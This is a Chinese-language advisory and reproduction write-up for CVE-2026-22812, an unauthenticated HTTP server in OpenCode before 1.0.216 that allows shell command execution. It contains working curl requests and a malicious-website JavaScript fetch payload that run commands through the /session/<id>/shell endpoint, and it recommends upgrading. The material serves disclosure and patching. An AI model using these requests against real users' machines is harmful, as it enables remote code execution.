BACK TO FEED

OpenCode 远程代码执行漏洞 CVE-2026-22812

HK AI

OpenCode 1.0.216 之前版本会默认启动未鉴权的 HTTP 服务器(默认端口 4096 及以上),攻击者可通过本地进程或宽松 CORS 策略的恶意网站调用 `POST /session/<id>/shell` 等端点,以运行 OpenCode 的用户权限执行任意 shell 命令;官方已修复,建议升级至 1.0.216 及以上版本。

漏洞描述

OpenCode 是一个开源的 AI 编码代理工具,支持在终端、IDE 或桌面应用中使用。它兼容 75 多家大模型提供商,也内置免费模型,并强调不会存储用户的代码或上下文数据,支持多会话并行、自动加载语言服务器协议、会话链接分享等功能。

在 1.0.216 版本之前,OpenCode 会默认启动一个未经身份验证的 HTTP 服务器,允许未经授权的远程攻击者通过本地进程或宽松的 CORS 策略的网站以用户的权限执行任意 shell 命令。

漏洞影响

Opencode < 1.0.216 环境搭建 参考 环境配置 ,启动一个 OpenCode 1.0.207 服务: 参考链接: https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh

docker-compose up -d 服务启动后,访问 http://your-ip:4096 即可查看到 OpenCode 主页。

漏洞复现

OpenCode 启动时会启动一个 HTTP 服务器(默认端口 4096 及以上),且不进行身份验证。暴露的关键端点包括:

POST /session/<id>/shell:执行 shell 命令 ( server.ts:1401 ) POST /pty:创建交互式终端会话( server.ts:267 ) GET /file/content?path=:读取任意文件 ( server.ts:1868 )

可以通过两种途径实现远程代码执行:

本地利用 :任何恶意 npm 包、脚本或被入侵的应用程序都可以以运行 OpenCode 的用户身份执行命令。 基于浏览器的利用(已在 Firefox 中验证) :任何网站都可以对运行 OpenCode 的访问者执行命令。这使得恶意广告、被入侵的网站或钓鱼页面能够发起 drive-by attacks。 此处我们实现本地利用。先获取 session id:

curl -X POST http://your-ip:4096/session -H "Content-Type: application/json" -d '{}'

通过 POST /session//shell 执行 shell 命令:

curl -X POST http://your-ip:4096/session/ses_3e26e7d61ffeckbRy92ZkFjfqZ/shell -H "Content-Type: application/json" -d '{"agent": "build","command": "id && touch /tmp/awesome_poc"}'

可以看到,成功执行命令 id && touch /tmp/awesome_poc:

基于浏览器的利用 示例 如下:

// Malicious website JavaScript fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}' }) .then(r => r.json()) .then(session => { fetch(http://127.0.0.1:4096/session/${session.id}/shell`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'}) }); });`

注意:Chrome 142 及更高版本可能会提示授予本地网络访问权限,而 Firefox 则不会。

漏洞修复

官方已发布安全补丁,请及时更新至最新版本 Opencode >= 1.0.216,下载地址: https://github.com/anomalyco/opencode/releases

EXTRACTED ENTITIES
No reviewed entities are attached to this article.